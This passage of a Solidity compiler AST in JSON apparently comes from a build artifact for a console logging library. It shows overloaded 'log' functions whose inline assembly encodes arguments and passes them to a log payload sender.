pure"}},"id":40376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"199276:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40377,"nodeType":"ExpressionStatement","src":"199276:27:22"},{"AST":{"nativeSrc":"199322:156:22","nodeType":"YulBlock","src":"199322:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"199343:4:22","nodeType":"YulLiteral","src":"199343:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"199349:2:22","nodeType":"YulIdentifier","src":"199349:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199336:6:22","nodeType":"YulIdentifier","src":"199336:6:22"},"nativeSrc":"199336:16:22","nodeType":"YulFunctionCall","src":"199336:16:22"},"nativeSrc":"199336:16:22","nodeType":"YulExpressionStatement","src":"199336:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199372:4:22","nodeType":"YulLiteral","src":"199372:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"199378:2:22","nodeType":"YulIdentifier","src":"199378:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199365:6:22","nodeType":"YulIdentifier","src":"199365:6:22"},"nativeSrc":"199365:16:22","nodeType":"YulFunctionCall","src":"199365:16:22"},"nativeSrc":"199365:16:22","nodeType":"YulExpressionStatement","src":"199365:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199401:4:22","nodeType":"YulLiteral","src":"199401:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"199407:2:22","nodeType":"YulIdentifier","src":"199407:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199394:6:22","nodeType":"YulIdentifier","src":"199394:6:22"},"nativeSrc":"199394:16:22","nodeType":"YulFunctionCall","src":"199394:16:22"},"nativeSrc":"199394:16:22","nodeType":"YulExpressionStatement","src":"199394:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199430:4:22","nodeType":"YulLiteral","src":"199430:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"199436:2:22","nodeType":"YulIdentifier","src":"199436:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199423:6:22","nodeType":"YulIdentifier","src":"199423:6:22"},"nativeSrc":"199423:16:22","nodeType":"YulFunctionCall","src":"199423:16:22"},"nativeSrc":"199423:16:22","nodeType":"YulExpressionStatement","src":"199423:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"199459:4:22","nodeType":"YulLiteral","src":"199459:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"199465:2:22","nodeType":"YulIdentifier","src":"199465:2:22"}],"functionName":{"name":"mstore","nativeSrc":"199452:6:22","nodeType":"YulIdentifier","src":"199452:6:22"},"nativeSrc":"199452:16:22","nodeType":"YulFunctionCall","src":"199452:16:22"},"nativeSrc":"199452:16:22","nodeType":"YulExpressionStatement","src":"199452:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40358,"isOffset":false,"isSlot":false,"src":"199349:2:22","valueSize":1},{"declaration":40361,"isOffset":false,"isSlot":false,"src":"199378:2:22","valueSize":1},{"declaration":40364,"isOffset":false,"isSlot":false,"src":"199407:2:22","valueSize":1},{"declaration":40367,"isOffset":false,"isSlot":false,"src":"199436:2:22","valueSize":1},{"declaration":40370,"isOffset":false,"isSlot":false,"src":"199465:2:22","valueSize":1}],"id":40378,"nodeType":"InlineAssembly","src":"199313:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"198707:3:22","parameters":{"id":40355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40348,"mutability":"mutable","name":"p0","nameLocation":"198716:2:22","nodeType":"VariableDeclaration","scope":40380,"src":"198711:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40347,"name":"bool","nodeType":"ElementaryTypeName","src":"198711:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40350,"mutability":"mutable","name":"p1","nameLocation":"198728:2:22","nodeType":"VariableDeclaration","scope":40380,"src":"198720:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40349,"name":"uint256","nodeType":"ElementaryTypeName","src":"198720:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40352,"mutability":"mutable","name":"p2","nameLocation":"198740:2:22","nodeType":"VariableDeclaration","scope":40380,"src":"198732:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40351,"name":"uint256","nodeType":"ElementaryTypeName","src":"198732:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40354,"mutability":"mutable","name":"p3","nameLocation":"198752:2:22","nodeType":"VariableDeclaration","scope":40380,"src":"198744:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40353,"name":"uint256","nodeType":"ElementaryTypeName","src":"198744:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"198710:45:22"},"returnParameters":{"id":40356,"nodeType":"ParameterList","parameters":[],"src":"198770:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40420,"nodeType":"FunctionDefinition","src":"199490:1334:22","nodes":[],"body":{"id":40419,"nodeType":"Block","src":"199562:1262:22","nodes":[],"statements":[{"assignments":[40392],"declarations":[{"constant":false,"id":40392,"mutability":"mutable","name":"m0","nameLocation":"199580:2:22","nodeType":"VariableDeclaration","scope":40419,"src":"199572:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40391,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199572:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40393,"nodeType":"VariableDeclarationStatement","src":"199572:10:22"},{"assignments":[40395],"declarations":[{"constant":false,"id":40395,"mutability":"mutable","name":"m1","nameLocation":"199600:2:22","nodeType":"VariableDeclaration","scope":40419,"src":"199592:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40394,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199592:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40396,"nodeType":"VariableDeclarationStatement","src":"199592:10:22"},{"assignments":[40398],"declarations":[{"constant":false,"id":40398,"mutability":"mutable","name":"m2","nameLocation":"199620:2:22","nodeType":"VariableDeclaration","scope":40419,"src":"199612:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40397,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199612:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40399,"nodeType":"VariableDeclarationStatement","src":"199612:10:22"},{"assignments":[40401],"declarations":[{"constant":false,"id":40401,"mutability":"mutable","name":"m3","nameLocation":"199640:2:22","nodeType":"VariableDeclaration","scope":40419,"src":"199632:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40400,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199632:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40402,"nodeType":"VariableDeclarationStatement","src":"199632:10:22"},{"assignments":[40404],"declarations":[{"constant":false,"id":40404,"mutability":"mutable","name":"m4","nameLocation":"199660:2:22","nodeType":"VariableDeclaration","scope":40419,"src":"199652:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40403,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199652:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40405,"nodeType":"VariableDeclarationStatement","src":"199652:10:22"},{"assignments":[40407],"declarations":[{"constant":false,"id":40407,"mutability":"mutable","name":"m5","nameLocation":"199680:2:22","nodeType":"VariableDeclaration","scope":40419,"src":"199672:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40406,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199672:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40408,"nodeType":"VariableDeclarationStatement","src":"199672:10:22"},{"assignments":[40410],"declarations":[{"constant":false,"id":40410,"mutability":"mutable","name":"m6","nameLocation":"199700:2:22","nodeType":"VariableDeclaration","scope":40419,"src":"199692:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40409,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199692:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40411,"nodeType":"VariableDeclarationStatement","src":"199692:10:22"},{"AST":{"nativeSrc":"199721:828:22","nodeType":"YulBlock","src":"199721:828:22","statements":[{"body":{"nativeSrc":"199764:313:22","nodeType":"YulBlock","src":"199764:313:22","statements":[{"nativeSrc":"199782:15:22","nodeType":"YulVariableDeclaration","src":"199782:15:22","value":{"kind":"number","nativeSrc":"199796:1:22","nodeType":"YulLiteral","src":"199796:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"199786:6:22","nodeType":"YulTypedName","src":"199786:6:22","type":""}]},{"body":{"nativeSrc":"199867:40:22","nodeType":"YulBlock","src":"199867:40:22","statements":[{"body":{"nativeSrc":"199896:9:22","nodeType":"YulBlock","src":"199896:9:22","statements":[{"nativeSrc":"199898:5:22","nodeType":"YulBreak","src":"199898:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"199884:6:22","nodeType":"YulIdentifier","src":"199884:6:22"},{"name":"w","nativeSrc":"199892:1:22","nodeType":"YulIdentifier","src":"199892:1:22"}],"functionName":{"name":"byte","nativeSrc":"199879:4:22","nodeType":"YulIdentifier","src":"199879:4:22"},"nativeSrc":"199879:15:22","nodeType":"YulFunctionCall","src":"199879:15:22"}],"functionName":{"name":"iszero","nativeSrc":"199872:6:22","nodeType":"YulIdentifier","src":"199872:6:22"},"nativeSrc":"199872:23:22","nodeType":"YulFunctionCall","src":"199872:23:22"},"nativeSrc":"199869:36:22","nodeType":"YulIf","src":"199869:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"199824:6:22","nodeType":"YulIdentifier","src":"199824:6:22"},{"kind":"number","nativeSrc":"199832:4:22","nodeType":"YulLiteral","src":"199832:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"199821:2:22","nodeType":"YulIdentifier","src":"199821:2:22"},"nativeSrc":"199821:16:22","nodeType":"YulFunctionCall","src":"199821:16:22"},"nativeSrc":"199814:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"199838:28:22","nodeType":"YulBlock","src":"199838:28:22","statements":[{"nativeSrc":"199840:24:22","nodeType":"YulAssignment","src":"199840:24:22","value":{"arguments":[{"name":"length","nativeSrc":"199854:6:22","nodeType":"YulIdentifier","src":"199854:6:22"},{"kind":"number","nativeSrc":"199862:1:22","nodeType":"YulLiteral","src":"199862:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"199850:3:22","nodeType":"YulIdentifier","src":"199850:3:22"},"nativeSrc":"199850:14:22","nodeType":"YulFunctionCall","src":"199850:14:22"},"variableNames":[{"name":"length","nativeSrc":"199840:6:22","nodeType":"YulIdentifier","src":"199840:6:22"}]}]},"pre":{"nativeSrc":"199818:2:22","nodeType":"YulBlock","src":"199818:2:22","statements":[]},"src":"199814:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"199931:3:22","nodeType":"YulIdentifier","src":"199931:3:22"},{"name":"length","nativeSrc":"199936:6:22","nodeType":"YulIdentifier","src":"199936:6:22"}],"functionName":{"name":"mstore","nativeSrc":"199924:6:22","nodeType":"YulIdentifier","src":"199924:6:22"},"nativeSrc":"199924:19:22","nodeType":"YulFunctionCall","src":"199924:19:22"},"nativeSrc":"199924:19:22","nodeType":"YulExpressionStatement","src":"199924:19:22"},{"nativeSrc":"199960:37:22","nodeType":"YulVariableDeclaration","src":"199960:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"199977:3:22","nodeType":"YulLiteral","src":"199977:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"199986:1:22","nodeType":"YulLiteral","src":"199986:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"199989:6:22","nodeType":"YulIdentifier","src":"199989:6:22"}],"functionName":{"name":"shl","nativeSrc":"199982:3:22","nodeType":"YulIdentifier","src":"199982:3:22"},"nativeSrc":"199982:14:22","nodeType":"YulFunctionCall","src":"199982:14:22"}],"functionName":{"name":"sub","nativeSrc":"199973:3:22","nodeType":"YulIdentifier","src":"199973:3:22"},"nativeSrc":"199973:24:22","nodeType":"YulFunctionCall","src":"199973:24:22"},"variables":[{"name":"shift","nativeSrc":"199964:5:22","nodeType":"YulTypedName","src":"199964:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"200025:3:22","nodeType":"YulIdentifier","src":"200025:3:22"},{"kind":"number","nativeSrc":"200030:4:22","nodeType":"YulLiteral","src":"200030:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"200021:3:22","nodeType":"YulIdentifier","src":"200021:3:22"},"nativeSrc":"200021:14:22","nodeType":"YulFunctionCall","src":"200021:14:22"},{"arguments":[{"name":"shift","nativeSrc":"200041:5:22","nodeType":"YulIdentifier","src":"200041:5:22"},{"arguments":[{"name":"shift","nativeSrc":"200052:5:22","nodeType":"YulIdentifier","src":"200052:5:22"},{"name":"w","nativeSrc":"200059:1:22","nodeType":"YulIdentifier","src":"200059:1:22"}],"functionName":{"name":"shr","nativeSrc":"200048:3:22","nodeType":"YulIdentifier","src":"200048:3:22"},"nativeSrc":"200048:13:22","nodeType":"YulFunctionCall","src":"200048:13:22"}],"functionName":{"name":"shl","nativeSrc":"200037:3:22","nodeType":"YulIdentifier","src":"200037:3:22"},"nativeSrc":"200037:25:22","nodeType":"YulFunctionCall","src":"200037:25:22"}],"functionName":{"name":"mstore","nativeSrc":"200014:6:22","nodeType":"YulIdentifier","src":"200014:6:22"},"nativeSrc":"200014:49:22","nodeType":"YulFunctionCall","src":"200014:49:22"},"nativeSrc":"200014:49:22","nodeType":"YulExpressionStatement","src":"200014:49:22"}]},"name":"writeString","nativeSrc":"199735:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"199756:3:22","nodeType":"YulTypedName","src":"199756:3:22","type":""},{"name":"w","nativeSrc":"199761:1:22","nodeType":"YulTypedName","src":"199761:1:22","type":""}],"src":"199735:342:22"},{"nativeSrc":"200090:17:22","nodeType":"YulAssignment","src":"200090:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"200102:4:22","nodeType":"YulLiteral","src":"200102:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"200096:5:22","nodeType":"YulIdentifier","src":"200096:5:22"},"nativeSrc":"200096:11:22","nodeType":"YulFunctionCall","src":"200096:11:22"},"variableNames":[{"name":"m0","nativeSrc":"200090:2:22","nodeType":"YulIdentifier","src":"200090:2:22"}]},{"nativeSrc":"200120:17:22","nodeType":"YulAssignment","src":"200120:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"200132:4:22","nodeType":"YulLiteral","src":"200132:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"200126:5:22","nodeType":"YulIdentifier","src":"200126:5:22"},"nativeSrc":"200126:11:22","nodeType":"YulFunctionCall","src":"200126:11:22"},"variableNames":[{"name":"m1","nativeSrc":"200120:2:22","nodeType":"YulIdentifier","src":"200120:2:22"}]},{"nativeSrc":"200150:17:22","nodeType":"YulAssignment","src":"200150:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"200162:4:22","nodeType":"YulLiteral","src":"200162:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"200156:5:22","nodeType":"YulIdentifier","src":"200156:5:22"},"nativeSrc":"200156:11:22","nodeType":"YulFunctionCall","src":"200156:11:22"},"variableNames":[{"name":"m2","nativeSrc":"200150:2:22","nodeType":"YulIdentifier","src":"200150:2:22"}]},{"nativeSrc":"200180:17:22","nodeType":"YulAssignment","src":"200180:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"200192:4:22","nodeType":"YulLiteral","src":"200192:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"200186:5:22","nodeType":"YulIdentifier","src":"200186:5:22"},"nativeSrc":"200186:11:22","nodeType":"YulFunctionCall","src":"200186:11:22"},"variableNames":[{"name":"m3","nativeSrc":"200180:2:22","nodeType":"YulIdentifier","src":"200180:2:22"}]},{"nativeSrc":"200210:17:22","nodeType":"YulAssignment","src":"200210:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"200222:4:22","nodeType":"YulLiteral","src":"200222:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"200216:5:22","nodeType":"YulIdentifier","src":"200216:5:22"},"nativeSrc":"200216:11:22","nodeType":"YulFunctionCall","src":"200216:11:22"},"variableNames":[{"name":"m4","nativeSrc":"200210:2:22","nodeType":"YulIdentifier","src":"200210:2:22"}]},{"nativeSrc":"200240:17:22","nodeType":"YulAssignment","src":"200240:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"200252:4:22","nodeType":"YulLiteral","src":"200252:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"200246:5:22","nodeType":"YulIdentifier","src":"200246:5:22"},"nativeSrc":"200246:11:22","nodeType":"YulFunctionCall","src":"200246:11:22"},"variableNames":[{"name":"m5","nativeSrc":"200240:2:22","nodeType":"YulIdentifier","src":"200240:2:22"}]},{"nativeSrc":"200270:17:22","nodeType":"YulAssignment","src":"200270:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"200282:4:22","nodeType":"YulLiteral","src":"200282:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"200276:5:22","nodeType":"YulIdentifier","src":"200276:5:22"},"nativeSrc":"200276:11:22","nodeType":"YulFunctionCall","src":"200276:11:22"},"variableNames":[{"name":"m6","nativeSrc":"200270:2:22","nodeType":"YulIdentifier","src":"200270:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200370:4:22","nodeType":"YulLiteral","src":"200370:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"200376:10:22","nodeType":"YulLiteral","src":"200376:10:22","type":"","value":"0x8e69fb5d"}],"functionName":{"name":"mstore","nativeSrc":"200363:6:22","nodeType":"YulIdentifier","src":"200363:6:22"},"nativeSrc":"200363:24:22","nodeType":"YulFunctionCall","src":"200363:24:22"},"nativeSrc":"200363:24:22","nodeType":"YulExpressionStatement","src":"200363:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200407:4:22","nodeType":"YulLiteral","src":"200407:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"200413:2:22","nodeType":"YulIdentifier","src":"200413:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200400:6:22","nodeType":"YulIdentifier","src":"200400:6:22"},"nativeSrc":"200400:16:22","nodeType":"YulFunctionCall","src":"200400:16:22"},"nativeSrc":"200400:16:22","nodeType":"YulExpressionStatement","src":"200400:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200436:4:22","nodeType":"YulLiteral","src":"200436:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"200442:2:22","nodeType":"YulIdentifier","src":"200442:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200429:6:22","nodeType":"YulIdentifier","src":"200429:6:22"},"nativeSrc":"200429:16:22","nodeType":"YulFunctionCall","src":"200429:16:22"},"nativeSrc":"200429:16:22","nodeType":"YulExpressionStatement","src":"200429:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200465:4:22","nodeType":"YulLiteral","src":"200465:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"200471:2:22","nodeType":"YulIdentifier","src":"200471:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200458:6:22","nodeType":"YulIdentifier","src":"200458:6:22"},"nativeSrc":"200458:16:22","nodeType":"YulFunctionCall","src":"200458:16:22"},"nativeSrc":"200458:16:22","nodeType":"YulExpressionStatement","src":"200458:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200494:4:22","nodeType":"YulLiteral","src":"200494:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"200500:4:22","nodeType":"YulLiteral","src":"200500:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"200487:6:22","nodeType":"YulIdentifier","src":"200487:6:22"},"nativeSrc":"200487:18:22","nodeType":"YulFunctionCall","src":"200487:18:22"},"nativeSrc":"200487:18:22","nodeType":"YulExpressionStatement","src":"200487:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200530:4:22","nodeType":"YulLiteral","src":"200530:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"200536:2:22","nodeType":"YulIdentifier","src":"200536:2:22"}],"functionName":{"name":"writeString","nativeSrc":"200518:11:22","nodeType":"YulIdentifier","src":"200518:11:22"},"nativeSrc":"200518:21:22","nodeType":"YulFunctionCall","src":"200518:21:22"},"nativeSrc":"200518:21:22","nodeType":"YulExpressionStatement","src":"200518:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40392,"isOffset":false,"isSlot":false,"src":"200090:2:22","valueSize":1},{"declaration":40395,"isOffset":false,"isSlot":false,"src":"200120:2:22","valueSize":1},{"declaration":40398,"isOffset":false,"isSlot":false,"src":"200150:2:22","valueSize":1},{"declaration":40401,"isOffset":false,"isSlot":false,"src":"200180:2:22","valueSize":1},{"declaration":40404,"isOffset":false,"isSlot":false,"src":"200210:2:22","valueSize":1},{"declaration":40407,"isOffset":false,"isSlot":false,"src":"200240:2:22","valueSize":1},{"declaration":40410,"isOffset":false,"isSlot":false,"src":"200270:2:22","valueSize":1},{"declaration":40382,"isOffset":false,"isSlot":false,"src":"200413:2:22","valueSize":1},{"declaration":40384,"isOffset":false,"isSlot":false,"src":"200442:2:22","valueSize":1},{"declaration":40386,"isOffset":false,"isSlot":false,"src":"200471:2:22","valueSize":1},{"declaration":40388,"isOffset":false,"isSlot":false,"src":"200536:2:22","valueSize":1}],"id":40412,"nodeType":"InlineAssembly","src":"199712:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40414,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"200574:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40415,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"200580:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40413,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"200558:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40416,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"200558:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40417,"nodeType":"ExpressionStatement","src":"200558:27:22"},{"AST":{"nativeSrc":"200604:214:22","nodeType":"YulBlock","src":"200604:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"200625:4:22","nodeType":"YulLiteral","src":"200625:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"200631:2:22","nodeType":"YulIdentifier","src":"200631:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200618:6:22","nodeType":"YulIdentifier","src":"200618:6:22"},"nativeSrc":"200618:16:22","nodeType":"YulFunctionCall","src":"200618:16:22"},"nativeSrc":"200618:16:22","nodeType":"YulExpressionStatement","src":"200618:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200654:4:22","nodeType":"YulLiteral","src":"200654:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"200660:2:22","nodeType":"YulIdentifier","src":"200660:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200647:6:22","nodeType":"YulIdentifier","src":"200647:6:22"},"nativeSrc":"200647:16:22","nodeType":"YulFunctionCall","src":"200647:16:22"},"nativeSrc":"200647:16:22","nodeType":"YulExpressionStatement","src":"200647:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200683:4:22","nodeType":"YulLiteral","src":"200683:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"200689:2:22","nodeType":"YulIdentifier","src":"200689:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200676:6:22","nodeType":"YulIdentifier","src":"200676:6:22"},"nativeSrc":"200676:16:22","nodeType":"YulFunctionCall","src":"200676:16:22"},"nativeSrc":"200676:16:22","nodeType":"YulExpressionStatement","src":"200676:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200712:4:22","nodeType":"YulLiteral","src":"200712:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"200718:2:22","nodeType":"YulIdentifier","src":"200718:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200705:6:22","nodeType":"YulIdentifier","src":"200705:6:22"},"nativeSrc":"200705:16:22","nodeType":"YulFunctionCall","src":"200705:16:22"},"nativeSrc":"200705:16:22","nodeType":"YulExpressionStatement","src":"200705:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200741:4:22","nodeType":"YulLiteral","src":"200741:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"200747:2:22","nodeType":"YulIdentifier","src":"200747:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200734:6:22","nodeType":"YulIdentifier","src":"200734:6:22"},"nativeSrc":"200734:16:22","nodeType":"YulFunctionCall","src":"200734:16:22"},"nativeSrc":"200734:16:22","nodeType":"YulExpressionStatement","src":"200734:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200770:4:22","nodeType":"YulLiteral","src":"200770:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"200776:2:22","nodeType":"YulIdentifier","src":"200776:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200763:6:22","nodeType":"YulIdentifier","src":"200763:6:22"},"nativeSrc":"200763:16:22","nodeType":"YulFunctionCall","src":"200763:16:22"},"nativeSrc":"200763:16:22","nodeType":"YulExpressionStatement","src":"200763:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"200799:4:22","nodeType":"YulLiteral","src":"200799:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"200805:2:22","nodeType":"YulIdentifier","src":"200805:2:22"}],"functionName":{"name":"mstore","nativeSrc":"200792:6:22","nodeType":"YulIdentifier","src":"200792:6:22"},"nativeSrc":"200792:16:22","nodeType":"YulFunctionCall","src":"200792:16:22"},"nativeSrc":"200792:16:22","nodeType":"YulExpressionStatement","src":"200792:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40392,"isOffset":false,"isSlot":false,"src":"200631:2:22","valueSize":1},{"declaration":40395,"isOffset":false,"isSlot":false,"src":"200660:2:22","valueSize":1},{"declaration":40398,"isOffset":false,"isSlot":false,"src":"200689:2:22","valueSize":1},{"declaration":40401,"isOffset":false,"isSlot":false,"src":"200718:2:22","valueSize":1},{"declaration":40404,"isOffset":false,"isSlot":false,"src":"200747:2:22","valueSize":1},{"declaration":40407,"isOffset":false,"isSlot":false,"src":"200776:2:22","valueSize":1},{"declaration":40410,"isOffset":false,"isSlot":false,"src":"200805:2:22","valueSize":1}],"id":40418,"nodeType":"InlineAssembly","src":"200595:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"199499:3:22","parameters":{"id":40389,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40382,"mutability":"mutable","name":"p0","nameLocation":"199508:2:22","nodeType":"VariableDeclaration","scope":40420,"src":"199503:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40381,"name":"bool","nodeType":"ElementaryTypeName","src":"199503:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40384,"mutability":"mutable","name":"p1","nameLocation":"199520:2:22","nodeType":"VariableDeclaration","scope":40420,"src":"199512:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{